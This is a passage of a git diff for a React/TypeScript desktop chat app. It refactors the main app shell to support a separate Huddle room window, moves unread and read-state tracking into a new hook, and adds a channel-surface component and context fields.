-      const channelReadAt = getChannelReadAt(channelId);
-      if (threadReadAt === null) {
-        return channelReadAt;
-      }
-      if (channelReadAt === null) {
-        return threadReadAt;
-      }
-      return Math.max(threadReadAt, channelReadAt);
-    },
-    [getChannelReadAt, getOwnReadAt],
-  );
-
-  const markThreadRead = React.useCallback(
-    (rootId: string, timestamp: number) => {
-      markChannelRead(
-        `thread:${rootId}`,
-        new Date(timestamp * 1_000).toISOString(),
-      );
+  } = useUnreadChannels(
+    isHuddleRoom ? EMPTY_CHANNELS : sidebarChannels,
+    isHuddleRoom ? null : activeChannel,
+    {
+      pubkey: identityQuery.data?.pubkey,
+      relayClient,
+      relayUrl: communitiesHook.activeCommunity?.relayUrl,
+      currentPubkey: identityQuery.data?.pubkey,
+      mutedChannelIds,
+      notifyForActiveChannel: notificationSettings.settings.notifyWhileViewing,
+      onChannelMessage: handleChannelNotification,
+      onDmMessage: handleDmNotification,
+      onLiveMention: refetchHomeFeedFromLiveSignal,
+      onThreadReplyDesktopNotification: handleThreadReplyDesktopNotification,
+      followedRootIds,
     },
-    [markChannelRead],
   );
 
-  // Per-message read frontier (LP4 v3): effective(msg:<id>) folds through the
-  // channel, so a channel-read clears messages older than the top-level frontier.
-  const getMessageReadAt = React.useCallback(
-    (messageId: string) => getChannelReadAt(msgContextKey(messageId)),
-    [getChannelReadAt],
-  );
-  const markMessageRead = React.useCallback(
-    (messageId: string, timestamp: number) =>
-      markChannelRead(
-        msgContextKey(messageId),
-        new Date(timestamp * 1_000).toISOString(),
-      ),
-    [markChannelRead],
-  );
-  const threadActivityFeedItems = useThreadActivityFeedItems(
+  const {
+    getThreadReadAt,
+    markThreadRead,
+    getMessageReadAt,
+    getChannelActivityItemReadAt,
+    markMessageRead,
+    threadActivityFeedItems,
+    locallyUnreadFeedItems,
+    unreadThreadFeedItems,
+    unreadThreadChannelIds,
+  } = useChannelActivityProjection({
+    channels,
+    feed: homeFeedQuery.data?.feed,
+    unreadFeedItemIds: feedItemState.unreadSet,
+    getChannelReadAt,
+    getOwnReadAt,
+    markChannelRead,
+    readStateVersion,
     threadActivityItems,
     mutedRootIds,
-    channels,
-  );
+  });
+  const markAllChannelsRead = React.useCallback(() => {
+    markAllReadSources({
+      activeChannelId: activeChannel?.id ?? null,
+      channelActivityItems: unreadThreadFeedItems,
+      markAllChannelReadMarkers,
+      markActiveChannelRead: (channelId, createdAt) =>
+        markChannelRead(channelId, new Date(createdAt * 1_000).toISOString()),
+      undoUnreadFeedItem: feedItemState.undoUnread,
+      unreadFeedItemIds: feedItemState.unreadSet,
+    });
+  }, [
+    activeChannel?.id,
+    feedItemState.undoUnread,
+    feedItemState.unreadSet,
+    markAllChannelReadMarkers,
+    markChannelRead,
+    unreadThreadFeedItems,
+  ]);
 
-  // Badge count consumes the shared NIP-RS read-state from useUnreadChannels.
   const { homeBadgeCount, homeBadgeCountExcludingHighPriority } =
     useHomeFeedNotificationState(
       homeFeedQuery.data,
       identityQuery.data?.pubkey,
       notificationSettings.settings,
       notificationSettings.setDesktopEnabled,
+      !isHuddleRoom,
       selectedView === "home" && !settingsOpen,
       getChannelReadAt,
       readStateVersion,
@@ -424,8 +439,8 @@ export function AppShell() {
       getThreadReadAt,
       getMessageReadAt,
       channels,
+      huddleBackingChannelIds,
     );
-
   const dueReminderBadge = useDueReminderBadgeCount(
     identityQuery.data?.pubkey,
     notificationSettings.settings.homeBadgeEnabled,
@@ -518,7 +533,6 @@ export function AppShell() {
     },
     [applyAgents, applyCanvas, createChannelMutation, goChannel],
   );
-
   const handleCreateForum = React.useCallback(
     async ({
       description,
@@ -586,7 +600,6 @@ export function AppShell() {
     },
     [goHome, hideDmMutation, selectedChannelId],
   );
-
   const handleOpenSettings = React.useCallback(
     (section: SettingsSection = DEFAULT_SETTINGS_SECTION) => {
       setIsChannelManagementOpen(false);
@@ -594,12 +607,10 @@ export function AppShell() {
     },
     [goSettings],
   );
-
   const handleCloseSettings = React.useCallback(
     () => closeSettings(),
     [closeSettings],
   );
-
   // Section switches rewrite the settings entry rather than stacking one
   // history entry per section, so back always exits settings in one step.
   const handleSettingsSectionChange = React.useCallback(
@@ -616,21 +627,19 @@ export function AppShell() {
     [openSearchHit],
   );
   useAppShellLifecycleEffects({
+    desktopBadgeEnabled: !isHuddleRoom,
     homeBadgeCountExcludingHighPriority,
     unreadChannelIds,
     unreadChannelNotificationCount,
   });
-  useMessageDeepLinks();
-  const handleOpenNewDm = React.useCallback(
-    () => void goNewMessage(),
-    [goNewMessage],
-  );
+  // Dispatch `buzz://message` deep links only from the main window; the companion is dedicated to its active Huddle route.
+  useMessageDeepLinks(!isHuddleRoom);
   const handleOpenCreateChannel = React.useCallback(
     () => setIsCreateChannelOpen(true),
     [],
   );
   React.useLayoutEffect(() => {
-    if (settingsOpen) {
+    if (settingsOpen || isHuddleRoom) {
       return;
     }
 
@@ -657,7 +666,7 @@ export function AppShell() {
 
       if (key === "k" && event.shiftKey) {
         event.preventDefault();
-        handleOpenNewDm();
+        void goNewMessage();
         return;
       }
 
@@ -686,16 +695,17 @@ export function AppShell() {
     };
   }, [
     handleOpenBrowseChannels,
-    handleOpenNewDm,
     handleOpenCreateChannel,
     handleOpenSearch,
+    goNewMessage,
     goHome,
+    isHuddleRoom,
     settingsOpen,
   ]);
   useSettingsShortcuts({
     onClose: handleCloseSettings,
     onOpenSettings: handleOpenSettings,
-    open: settingsOpen,
+    open: isHuddleRoom ? undefined : settingsOpen,
   });
   useMarkAsReadShortcuts({
     activeChannelId: activeChannel?.id ?? null,
@@ -706,17 +716,20 @@ export function AppShell() {
   });
   return (
     <PreventSleepProvider>
-      <AppShellTrayMenu
-        channels={channels}
-        goChannel={goChannel}
-        openCreateChannel={handleOpenCreateChannel}
-      />
+      {!isHuddleRoom ? (
+        <AppShellTrayMenu
+          channels={channels}
+          goChannel={goChannel}
+          openCreateChannel={handleOpenCreateChannel}
+        />
+      ) : null}
       <ChannelNavigationProvider channels={channels}>
         <AppShellProvider
           value={{
             markAllChannelsRead,
             markChannelRead,
             markChannelUnread,
+            clearChannelUnreadSource,
             openBrowseChannels: handleOpenBrowseChannels,
             openCreateChannel: handleOpenCreateChannel,
             openChannelManagement: (channelId?: string) => {
@@ -729,6 +742,7 @@ export function AppShell() {
             getThreadReadAt,
             markThreadRead,
             getMessageReadAt,
+            getChannelActivityItemReadAt,
             markMessageRead,
             readStateVersion,
             setContextParentResolver,
@@ -736,262 +750,245 @@ export function AppShell() {
             unfollowThread: handleUnfollowThread,
             isFollowingThread,
             isNotifiedForThread,
+            recordThreadInteraction,
             isThreadMuted: (rootId) => mutedRootIds.has(rootId),
             threadActivityItems,
             threadActivityFeedItems,
+            locallyUnreadFeedItems,
+            unreadThreadFeedItems,
+            unreadThreadChannelIds,
+            topLevelUnreadChannelIds,
+            hasSidebarUnreadProjections: true,
             feedItemState,
             onOpenSettings: handleOpenSettings,
           }}
         >
-          <HuddleProvider>
-            <RemindMeLaterProvider pubkey={identityQuery.data?.pubkey}>
-              <div
-                className="buzz-huddle-shell relative h-dvh overflow-hidden overscroll-none"
-                data-huddle-open={isHuddleDrawerOpen}
-              >
-                <div
-                  className={cn(
-                    "buzz-huddle-app-surface z-10 flex min-h-0 flex-row overflow-hidden bg-background",
-                    isHuddleDrawerOpen && "buzz-huddle-app-surface-open",
-                  )}
-                >
-                  <BuzzTheme.GradientLayer />
-                  {hasCommunityRail ? (
-                    <CommunityRail
-                      activeCommunityId={
-                        communitiesHook.activeCommunity?.id ?? null
-                      }
-                      onAddCommunity={addCommunityDialog.openDialog}
-                      onRemoveCommunity={(id) => void handleRemoveCommunity(id)}
-                      onReorderCommunities={communitiesHook.reorderCommunities}
-                      onSwitchCommunity={handleSwitchCommunity}
-                      onUpdateCommunity={communitiesHook.updateCommunity}
-                      communities={communitiesHook.communities}
-                    />
-                  ) : null}
-                  <SidebarProvider className="min-h-0 flex-1 flex-col overflow-hidden">
-                    {!settingsOpen ? (
-                      <AppTopChrome
-                        canGoBack={canGoBack}
-                        canGoForward={canGoForward}
-                        hasCommunityRail={hasCommunityRail}
-                        onGoBack={goBack}
-                        onGoForward={goForward}
+          <AppHuddleShell
+            currentPubkey={identityQuery.data?.pubkey}
+            isCompanionOpen={isHuddleCompanionOpen}
+            isDrawerOpen={isHuddleDrawerOpen}
+            isRoom={isHuddleRoom}
+            onCompanionOpen={handleHuddleCompanionOpen}
+            onHuddleStartPendingChange={handleHuddleStartPendingChange}
+            onHuddleStarted={handleHuddleStarted}
+            onShowHuddleInMainApp={showHuddleInMainApp}
+            onViewHuddleChannel={viewHuddleChannel}
+            onVisibilityChange={handleHuddleVisibilityChange}
+          >
+            {hasCommunityRail && !isHuddleRoom ? (
+              <CommunityRail
+                activeCommunityId={communitiesHook.activeCommunity?.id ?? null}
+                onAddCommunity={addCommunityDialog.openDialog}
+                onReorderCommunities={communitiesHook.reorderCommunities}
+                onSwitchCommunity={handleSwitchCommunity}
+                onUpdateCommunity={communitiesHook.updateCommunity}
+                communities={communitiesHook.communities}
+              />
+            ) : null}
+            <SidebarProvider
+              className="relative z-10 min-h-0 flex-1 flex-col overflow-visible"
+              data-testid="app-sidebar-layer"
+            >
+              <AppProfilePanelProvider>
+                {!settingsOpen && !isHuddleRoom ? (
+                  <AppTopChrome
+                    canGoBack={canGoBack}
+                    canGoForward={canGoForward}
+                    hasCommunityRail={hasCommunityRail}
+                    onGoBack={goBack}
+                    onGoForward={goForward}
+                  />
+                ) : null}
+                {settingsOpen ? (
+                  <div className="flex min-h-0 flex-1 overflow-hidden">
+                    <React.Suspense fallback={null}>
+                      <LazySettingsScreen
+                        currentPubkey={identityQuery.data?.pubkey}
+                        fallbackDisplayName={identityQuery.data?.displayName}
+                        isUpdatingDesktopNotifications={
+                          notificationSettings.isUpdatingDesktopEnabled
+                        }
+                        notificationErrorMessage={
+                          notificationSettings.errorMessage
+                        }
+                        notificationPermission={notificationSettings.permission}
+                        notificationSettings={notificationSettings.settings}
+                        onClose={handleCloseSettings}
+                        onSectionChange={handleSettingsSectionChange}
+                        onSetDesktopNotificationsEnabled={
+                          notificationSettings.setDesktopEnabled
+                        }
+                        onSetHomeBadgeEnabled={
+                          notificationSettings.setHomeBadgeEnabled
+                        }
+                        onSetSlotAlertsEnabled={
+                          notificationSettings.setSlotAlertsEnabled
+                        }
+                        onSetNotifyWhileViewing={
+                          notificationSettings.setNotifyWhileViewing
+                        }
+                        onSetAllSlotAlertsEnabled={
+                          notificationSettings.setAllSlotAlertsEnabled
+                        }
+                        onSetSoundForSlot={notificationSettings.setSoundForSlot}
+                        section={settingsSection}
                       />
-                    ) : null}
-                    {settingsOpen ? (
-                      <div className="flex min-h-0 flex-1 overflow-hidden">
-                        <React.Suspense fallback={null}>
-                          <LazySettingsScreen
-                            currentPubkey={identityQuery.data?.pubkey}
-                            fallbackDisplayName={
-                              identityQuery.data?.displayName
-                            }
-                            isUpdatingDesktopNotifications={
-                              notificationSettings.isUpdatingDesktopEnabled
-                            }
-                            notificationErrorMessage={
-                              notificationSettings.errorMessage
-                            }
-                            notificationPermission={
-                              notificationSettings.permission
-                            }
-                            notificationSettings={notificationSettings.settings}
-                            onClose={handleCloseSettings}
-                            onSectionChange={handleSettingsSectionChange}
-                            onSetDesktopNotificationsEnabled={
-                              notificationSettings.setDesktopEnabled
-                            }
-                            onSetHomeBadgeEnabled={
-                              notificationSettings.setHomeBadgeEnabled
-                            }
-                            onSetSlotAlertsEnabled={
-                              notificationSettings.setSlotAlertsEnabled
-                            }
-                            onSetNotifyWhileViewing={
-                              notificationSettings.setNotifyWhileViewing
-                            }
-                            onSetAllSlotAlertsEnabled={
-                              notificationSettings.setAllSlotAlertsEnabled
-                            }
-                            onSetSoundForSlot={
-                              notificationSettings.setSoundForSlot
-                            }
-                            section={settingsSection}
-                          />
-                        </React.Suspense>
-                      </div>
-                    ) : (
-                      <div className="flex min-h-0 flex-1 overflow-hidden">
-                        <AppSidebar
-                          activeCommunity={communitiesHook.activeCommunity}
-                          channels={sidebarChannels}
-                          currentPubkey={identityQuery.data?.pubkey}
-                          errorMessage={channelsErrorMessage}
-                          fallbackDisplayName={identityQuery.data?.displayName}
-                          homeBadgeCount={homeBadgeCount + dueReminderBadge}
-                          addCommunityPrefill={addCommunityDialog.prefill}
-                          isAddCommunityOpen={addCommunityDialog.open}
-                          relayConnectionCard={relayConnectionCard}
-                          isCreatingChannel={createChannelMutation.isPending}
-                          isCreatingForum={createForumMutation.isPending}
-                          isLoading={channelsQuery.isLoading}
-                          isCreateChannelOpen={isCreateChannelOpen}
-                          isPresencePending={presenceSession.isPending}
-                          onAddCommunity={(community) => {
-                            const id = communitiesHook.addCommunity({
-                              ...community,
-                              pubkey:
-                                community.pubkey ?? identityQuery.data?.pubkey,
+                    </React.Suspense>
+                  </div>
+                ) : (
+                  <div className="relative flex min-h-0 flex-1 overflow-visible">
+                    {!isHuddleRoom ? (
+                      <AppSidebar
+                        activeCommunity={communitiesHook.activeCommunity}
+                        channels={sidebarChannels}
+                        currentPubkey={identityQuery.data?.pubkey}
+                        errorMessage={channelsErrorMessage}
+                        fallbackDisplayName={identityQuery.data?.displayName}
+                        homeBadgeCount={homeBadgeCount + dueReminderBadge}
+                        addCommunityPrefill={addCommunityDialog.prefill}
+                        isAddCommunityOpen={addCommunityDialog.open}
+                        relayConnectionCard={relayConnectionCard}
+                        isCreatingChannel={createChannelMutation.isPending}
+                        isCreatingForum={createForumMutation.isPending}
+                        isLoading={channelsQuery.isLoading}
+                        isCreateChannelOpen={isCreateChannelOpen}
+                        isHuddleCompanionOpen={isHuddleCompanionOpen}
+                        isPresencePending={presenceSession.isPending}
+                        onAddCommunity={(community) => {
+                          const id = communitiesHook.addCommunity({
+                            ...community,
+                            pubkey:
+                              community.pubkey ?? identityQuery.data?.pubkey,
+                          });
+                          handleSwitchCommunity(id);
+                        }}
+                        onAddCommunityOpenChange={
+                          addCommunityDialog.onOpenChange
+                        }
+                        onNewMessage={goNewMessage}
+                        onBackgroundClick={requestFocusedThreadClose}
+                        onCreateChannelOpenChange={setIsCreateChannelOpen}
+                        onOpenAddCommunity={addCommunityDialog.openDialog}
+                        onSendFeedback={() => setIsSendFeedbackOpen(true)}
+                        onUpdateCommunity={communitiesHook.updateCommunity}
+                        onRemoveCommunity={handleRemoveCommunity}
+                        onSwitchCommunity={handleSwitchCommunity}
+                        onCreateAgent={() => requestOpenCreateAgent()}
+                        selfPresenceStatus={presenceSession.currentStatus}
+                        communities={communitiesHook.communities}
+                        onCreateChannel={handleCreateChannel}
+                        onCreateForum={handleCreateForum}
+                        onHideDm={handleHideDm}
+                        onHuddleEnded={handleHuddleEnded}
+                        onMarkAllChannelsRead={markAllChannelsRead}
+                        onMarkChannelRead={markChannelRead}
+                        onMarkChannelUnread={markChannelUnread}
+                        onBrowseChannels={handleOpenBrowseChannels}
+                        onOpenDm={async ({ pubkeys }) => {
+                          const directMessage =
+                            await openDmMutation.mutateAsync({
+                              pubkeys,
                             });
-                            handleSwitchCommunity(id);
-                          }}
-                          onAddCommunityOpenChange={
-                            addCommunityDialog.onOpenChange
-                          }
-                          onNewMessage={handleOpenNewDm}
-                          onBackgroundClick={requestFocusedThreadClose}
-                          onCreateChannelOpenChange={setIsCreateChannelOpen}
-                          onOpenAddCommunity={addCommunityDialog.openDialog}
-                          onSendFeedback={() => setIsSendFeedbackOpen(true)}
-                          onUpdateCommunity={communitiesHook.updateCommunity}
-                          onRemoveCommunity={(id) =>
-                            void handleRemoveCommunity(id)
-                          }
-                          onSwitchCommunity={handleSwitchCommunity}
-                          onCreateAgent={() => requestOpenCreateAgent()}
-                          selfPresenceStatus={presenceSession.currentStatus}
-                          communities={communitiesHook.communities}
-                          onCreateChannel={handleCreateChannel}
-                          onCreateForum={handleCreateForum}
-                          onHideDm={handleHideDm}
-                          onMarkAllChannelsRead={markAllChannelsRead}
-                          onMarkChannelRead={markChannelRead}
-                          onMarkChannelUnread={markChannelUnread}
-                          onBrowseChannels={handleOpenBrowseChannels}
-                          onOpenDm={async ({ pubkeys }) => {
-                            const directMessage =
-                              await openDmMutation.mutateAsync({
-                                pubkeys,
-                              });
-                            await goChannel(directMessage.id);
-                          }}
-                          onSelectAgents={() => void goAgents()}
-                          onSelectChannel={(channelId) =>
-                            void goChannel(channelId)
-                          }
-                          onOpenSearchResult={handleOpenSearchResult}
-                          searchChannels={channels}
-                          searchFocusRequest={searchFocusRequest}
-                          onSelectHome={() => void goHome()}
-                          onSelectProjects={() => void goProjects()}
-                          onSelectPulse={() => void goPulse()}
-                          onSelectSettings={handleOpenSettings}
-                          onSelectWorkflows={() => void goWorkflows()}
-                          onSetPresenceStatus={(status) =>
-                            presenceSession.setStatus(status)
-                          }
-                          onSetUserStatus={(text, emoji) =>
-                            setUserStatusMutation.mutate({ text, emoji })
-                          }
-                          onClearUserStatus={() =>
-                            setUserStatusMutation.mutate({
-                              text: "",
-                              emoji: "",
-                            })
-                          }
-                          profile={profileQuery.data}
-                          selfUserStatus={
-                            deferredPubkey
-                              ? (selfStatusQuery.data?.[
-                                  deferredPubkey.toLowerCase()
-                                ] ?? undefined)
-                              : undefined
-                          }
-                          selectedChannelId={selectedChannelId}
-                          selectedView={selectedView}
-                          unreadChannelIds={unreadChannelIds}
-                          unreadChannelCounts={unreadChannelCounts}
-                          mutedChannelIds={mutedChannelIds}
-                          onMuteChannel={muteChannel}
-                          onUnmuteChannel={unmuteChannel}
-                          starredChannelIds={starredChannelIds}
-                          onStarChannel={starChannel}
-                          onUnstarChannel={unstarChannel}
-                        />
-                        <MainInsetProvider mainInsetRef={mainInsetRef}>
-                          <SidebarInset
-                            ref={mainInsetRef}
-                            className="isolate min-h-0 min-w-0 overflow-hidden bg-sidebar"
-                            data-buzz-glass-inset
-                            data-buzz-shadow-viewport
-                            style={chromeCssVarDefaults as React.CSSProperties}
-                          >
-                            <BuzzTheme.ContentSurface>
-                              <Outlet />
-                            </BuzzTheme.ContentSurface>
-                          </SidebarInset>
-                        </MainInsetProvider>
-                        <RelayConnectionOverlay
-                          card={relayConnectionCard}
-                          errorMessage={channelsErrorMessage}
-                          hasCommunityRail={hasCommunityRail}
-                          isHuddleDrawerOpen={isHuddleDrawerOpen}
-                        />
-                      </div>
-                    )}
-                    <RequestedAgentCreateDialogs />
-                    <AgentManagementDialogs />
-                    <AppShellOverlays
-                      activeChannel={managedChannel}
-                      browseDialogType={browseDialogType}
-                      channels={channels}
-                      currentPubkey={identityQuery.data?.pubkey}
-                      isChannelManagementOpen={isChannelManagementOpen}
-                      isCreatingBrowseChannel={
-                        createChannelMutation.isPending ||
-                        createForumMutation.isPending
-                      }
-                      onBrowseChannelJoin={handleBrowseChannelJoin}
-                      onBrowseChannelCreate={handleBrowseChannelCreate}
-                      onBrowseDialogOpenChange={handleBrowseDialogOpenChange}
-                      onChannelManagementOpenChange={(open) => {
-                        setIsChannelManagementOpen(open);
-                        if (!open) {
-                          setManagedChannelId(null);
+                          await goChannel(directMessage.id);
+                        }}
+                        onSelectAgents={() => void goAgents()}
+                        onSelectChannel={handleSidebarChannelSelect}
+                        onOpenSearchResult={handleOpenSearchResult}
+                        searchChannels={channels}
+                        searchFocusRequest={searchFocusRequest}
+                        onSelectHome={() => void goHome()}
+                        onSelectProjects={() => void goProjects()}
+                        onSelectPulse={() => void goPulse()}
+                        onSelectSettings={handleOpenSettings}
+                        onSelectWorkflows={() => void goWorkflows()}
+                        onSetPresenceStatus={(status) =>
+                          presenceSession.setStatus(status)
                         }
-                      }}
-                      onDeleteActiveChannel={() => {
-                        setIsChannelManagementOpen(false);
-                        setManagedChannelId(null);
-                        void goHome({ replace: true });
-                      }}
-                      onSelectChannel={(channelId) => {
-                        void goChannel(channelId);
-                      }}
-                    />
-                    <SendFeedbackController
-                      onOpenChange={setIsSendFeedbackOpen}
-                      open={isSendFeedbackOpen}
-                    />
-                  </SidebarProvider>
-                </div>
-
-                <div className="absolute inset-x-0 bottom-0 z-0 h-(--buzz-huddle-drawer-height)">
-                  <HuddleBar
-                    className="h-full"
-                    onOpenThread={(channelId, messageId) => {
-                      void goChannel(channelId, {
-                        messageId,
-                        threadRootId: messageId,
-                      });
-                    }}
-                    onVisibilityChange={setIsHuddleDrawerOpen}
-                  />
-                </div>
-              </div>
-            </RemindMeLaterProvider>
-          </HuddleProvider>
+                        onSetUserStatus={(text, emoji) =>
+                          setUserStatusMutation.mutate({ text, emoji })
+                        }
+                        onClearUserStatus={() =>
+                          setUserStatusMutation.mutate({
+                            text: "",
+                            emoji: "",
+                          })
+                        }
+                        profile={profileQuery.data}
+                        selfUserStatus={
+                          deferredPubkey
+                            ? (selfStatusQuery.data?.[
+                                deferredPubkey.toLowerCase()
+                              ] ?? undefined)
+                            : undefined
+                        }
+                        selectedChannelId={selectedChannelId}
+                        selectedView={selectedView}
+                        unreadChannelIds={unreadChannelIds}
+                        previewActivityChannelIds={unreadThreadChannelIds}
+                        unreadChannelCounts={unreadChannelCounts}
+                        mutedChannelIds={mutedChannelIds}
+                        onMuteChannel={muteChannel}
+                        onUnmuteChannel={unmuteChannel}
+                        starredChannelIds={starredChannelIds}
+                        onStarChannel={starChannel}
+                        onUnstarChannel={unstarChannel}
+                      />
+                    ) : null}
+                    <AppShellChannelSurface
+                      isHuddleRoom={isHuddleRoom}
+                      isHuddleRoomStarting={isHuddleRoomStarting}
+                      mainInsetRef={mainInsetRef}
+                      terminal={<TerminalBootstrap {...terminalContext} />}
+                    >
+                      <Outlet />
+                    </AppShellChannelSurface>
+                    {!isHuddleRoom ? (
+                      <RelayConnectionOverlay
+                        card={relayConnectionCard}
+                        errorMessage={channelsErrorMessage}
+                        hasCommunityRail={hasCommunityRail}
+                        isHuddleDrawerOpen={isHuddleDrawerOpen}
+                      />
+                    ) : null}
+                  </div>
+                )}
+                <RequestedAgentCreateDialogs />
+                <AgentManagementDialogs />
+                <AppShellOverlays
+                  activeChannel={managedChannel}
+                  browseDialogType={browseDialogType}
+                  channels={channels}
+                  currentPubkey={identityQuery.data?.pubkey}
+                  isChannelManagementOpen={isChannelManagementOpen}
+                  isCreatingBrowseChannel={
+                    createChannelMutation.isPending ||
+                    createForumMutation.isPending
+                  }
+                  onBrowseChannelJoin={handleBrowseChannelJoin}
+                  onBrowseChannelCreate={handleBrowseChannelCreate}
+                  onBrowseDialogOpenChange={handleBrowseDialogOpenChange}
+                  onChannelManagementOpenChange={(open) => {
+                    setIsChannelManagementOpen(open);
+                    if (!open) {
+                      setManagedChannelId(null);
+                    }
+                  }}
+                  onDeleteActiveChannel={() => {
+                    setIsChannelManagementOpen(false);
+                    setManagedChannelId(null);
+                    void goHome({ replace: true });
+                  }}
+                  onSelectChannel={(channelId) => {
+                    void goChannel(channelId);
+                  }}
+                />
+                <SendFeedbackController
+                  onOpenChange={setIsSendFeedbackOpen}
+                  open={isSendFeedbackOpen}
+                />
+              </AppProfilePanelProvider>
+            </SidebarProvider>
+          </AppHuddleShell>
         </AppShellProvider>
       </ChannelNavigationProvider>
     </PreventSleepProvider>
diff --git a/desktop/src/app/AppShellChannelSurface.tsx b/desktop/src/app/AppShellChannelSurface.tsx
new file mode 100644
index 0000000000..37be3448ee
--- /dev/null
+++ b/desktop/src/app/AppShellChannelSurface.tsx
@@ -0,0 +1,45 @@
+import type * as React from "react";
+import * as BuzzTheme from "@/app/BuzzThemeSurfaces";
+import { HuddleRoomHeader, HuddleStartingView } from "@/features/huddle";
+import { MainInsetProvider } from "@/shared/layout/MainInsetContext";
+import { chromeCssVarDefaults } from "@/shared/layout/chromeLayout";
+import { cn } from "@/shared/lib/cn";
+import { SidebarInset } from "@/shared/ui/sidebar";
+
+type AppShellChannelSurfaceProps = {
+  children: React.ReactNode;
+  isHuddleRoom: boolean;
+  isHuddleRoomStarting: boolean;
+  mainInsetRef: React.RefObject<HTMLElement | null>;
+  terminal?: React.ReactNode;
+};
+
+export function AppShellChannelSurface({
+  children,
+  isHuddleRoom,
+  isHuddleRoomStarting,
+  mainInsetRef,
+  terminal,
+}: AppShellChannelSurfaceProps) {
+  return (
+    <MainInsetProvider mainInsetRef={mainInsetRef}>
+      <SidebarInset
+        ref={mainInsetRef}
+        className={cn(
+          "isolate z-0 min-h-0 min-w-0 overflow-hidden",
+          isHuddleRoom ? "bg-background" : "bg-sidebar",
+        )}
+        data-buzz-content-surface={isHuddleRoom ? true : undefined}
+        data-buzz-content-unframed={isHuddleRoom ? true : undefined}
+        data-buzz-glass-inset
+        data-buzz-shadow-viewport
+        style={chromeCssVarDefaults as React.CSSProperties}
+      >
+        {isHuddleRoom && !isHuddleRoomStarting ? <HuddleRoomHeader /> : null}
+        <BuzzTheme.ContentSurface terminal={terminal} unframed={isHuddleRoom}>
+          {isHuddleRoomStarting ? <HuddleStartingView /> : children}
+        </BuzzTheme.ContentSurface>
+      </SidebarInset>
+    </MainInsetProvider>
+  );
+}
diff --git a/desktop/src/app/AppShellContext.tsx b/desktop/src/app/AppShellContext.tsx
index 4a64de0cb2..b909436178 100644
--- a/desktop/src/app/AppShellContext.tsx
+++ b/desktop/src/app/AppShellContext.tsx
@@ -1,4 +1,5 @@
 import * as React from "react";
+import type { ForcedUnreadSource } from "@/features/channels/forcedUnreadStore";
 import type { ContextParentResolver } from "@/features/channels/readState/readStateManager";
 import type { ThreadActivityItem } from "@/features/channels/useUnreadChannels";
 import type { FeedItemState } from "@/features/home/useFeedItemState";
@@ -12,9 +13,16 @@ type AppShellContextValue = {
   markChannelRead: (
     channelId: string,
     readAt: string | null | undefined,
-    options?: { topLevelOnly?: boolean },
+    options?: {
+      preserveForcedUnread?: boolean;
+      topLevelOnly?: boolean;
+    },
+  ) => void;
+  markChannelUnread: (channelId: string, source?: ForcedUnreadSource) => void;
+  clearChannelUnreadSource: (
+    channelId: string,
+    source: ForcedUnreadSource,
   ) => void;
-  markChannelUnread: (channelId: string) => void;
   openBrowseChannels: () => void;
   openCreateChannel: () => void;
   openChannelManagement: (channelId?: string) => void;
@@ -31,6 +39,11 @@ type AppShellContextValue = {
   // read. Uses `msg:<id>` context keys folded through the active channel by the
   // parent resolver (LP4 v3 per-message badge model).
   getMessageReadAt: (messageId: string) => number | null;
+  // Read frontier for a channel-activity item, scoped to that item's own
+  // message and channel rather than the currently mounted channel resolver.
+  getChannelActivityItemReadAt: (
+    item: Pick<FeedItem, "channelId" | "id">,
+  ) => number | null;
   // Advance a single message's read marker to the given unix-seconds timestamp.
   markMessageRead: (messageId: string, timestamp: number) => void;
   // Bump-counter that invalidates whenever the read marker changes. Include
@@ -43,9 +56,25 @@ type AppShellContextValue = {
   unfollowThread: (rootId: string) => void;
   isFollowingThread: (rootId: string) => boolean;
   isNotifiedForThread: (rootId: string) => boolean;
+  recordThreadInteraction: (rootId: string) => void;
   isThreadMuted: (rootId: string) => boolean;
   threadActivityItems: ThreadActivityItem[];
   threadActivityFeedItems: FeedItem[];
+  // Home-feed items explicitly reopened from Inbox. Kept separate from live
+  // thread activity so older rows can be projected into channel hover cards
+  // without duplicating the Home feed itself.
+  locallyUnreadFeedItems: FeedItem[];
+  // Thread rows that remain unread until their own message/thread marker is
+  // advanced. Unlike the broad channel unread set, this includes the active
+  // channel so simply landing in it does not hide the wayfinding signal.
+  unreadThreadFeedItems: FeedItem[];
+  unreadThreadChannelIds: ReadonlySet<string>;
+  // Ordinary unread channel-level activity. Sidebar rows use this for text
+  // emphasis only; thread activity owns the dot.
+  topLevelUnreadChannelIds: ReadonlySet<string>;
+  // Lets isolated component tests retain the legacy hasUnread fallback while
+  // the mounted shell uses the split projections above.
+  hasSidebarUnreadProjections: boolean;
   feedItemState: FeedItemState;
   // Open the Settings panel at the given section. Available on all surfaces
   // that render under AppShell (channel, home, projects, pulse, agents).
@@ -57,6 +86,7 @@ const AppShellContext = React.createContext<AppShellContextValue>({
   markAllChannelsRead: () => {},
   markChannelRead: () => {},
   markChannelUnread: () => {},
+  clearChannelUnreadSource: () => {},
   openBrowseChannels: () => {},
   openCreateChannel: () => {},
   openChannelManagement: () => {},
@@ -64,6 +94,7 @@ const AppShellContext = React.createContext<AppShellContextValue>({
   getThreadReadAt: () => null,
   markThreadRead: () => {},
   getMessageReadAt: () => null,
+  getChannelActivityItemReadAt: () => null,
   markMessageRead: () => {},
   readStateVersion: 0,
   setContextParentResolver: () => {},
@@ -71,9 +102,15 @@ const AppShellContext = React.createContext<AppShellContextValue>({
   unfollowThread: () => {},
   isFollowingThread: () => false,
   isNotifiedForThread: () => false,
+  recordThreadInteraction: () => {},
   isThreadMuted: () => false,
   threadActivityItems: [],
   threadActivityFeedItems: [],
+  locallyUnreadFeedItems: [],
+  unreadThreadFeedItems: [],
+  unreadThreadChannelIds: EMPTY_SET,
+  topLevelUnreadChannelIds: EMPTY_SET,
+  hasSidebarUnreadProjections: false,
   feedItemState: {
     doneSet: EMPTY_SET,
     markDone: () => {},
diff --git a/desktop/src/app/AppShellOverlays.tsx b/desktop/src/app/AppShellOverlays.tsx
index 5311a29330..9a856ba6b0 100644
--- a/desktop/src/app/AppShellOverlays.tsx
+++ b/desktop/src/app/AppShellOverlays.tsx
@@ -1,3 +1,4 @@
+export { TerminalBootstrap } from "@/features/terminal/TerminalBootstrap";
 import * as React from "react";
 
 import type { Channel } from "@/shared/api/types";
diff --git a/desktop/src/app/BuzzThemeSurfaces.tsx b/desktop/src/app/BuzzThemeSurfaces.tsx
index 80461f0185..b7912c98bc 100644
--- a/desktop/src/app/BuzzThemeSurfaces.tsx
+++ b/desktop/src/app/BuzzThemeSurfaces.tsx
@@ -7,6 +7,7 @@ export function GradientLayer() {
       className="buzz-theme-gradient-layer pointer-events-none absolute inset-0 -z-10"
